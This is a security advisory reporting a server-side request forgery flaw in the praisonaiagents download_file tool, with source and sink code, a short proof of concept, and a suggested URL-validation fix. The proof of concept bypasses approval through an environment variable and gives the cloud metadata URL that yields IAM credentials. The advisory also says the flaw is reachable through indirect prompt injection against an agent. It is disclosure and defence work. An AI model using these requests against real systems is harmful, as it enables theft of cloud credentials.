PYSEC-2026-2940

Summary

FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

Details

file_tools.py:259 (source) -> file_tools.py:296 (sink)

# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:

PoC

# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888

import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file

result = download_file(
    url="http://127.0.0.1:8888/ssrf-test",
    destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.

Suggested Fix

from urllib.parse import urlparse
import ipaddress

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def _validate_url(url: str) -> None:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
    try:
        addr = ipaddress.ip_address(parsed.hostname)
        for net in BLOCKED_NETWORKS:
            if addr in net:
                raise ValueError(f"Requests to {addr} are not permitted")
    except ValueError as e:
        if "does not appear to be" not in str(e):
            raise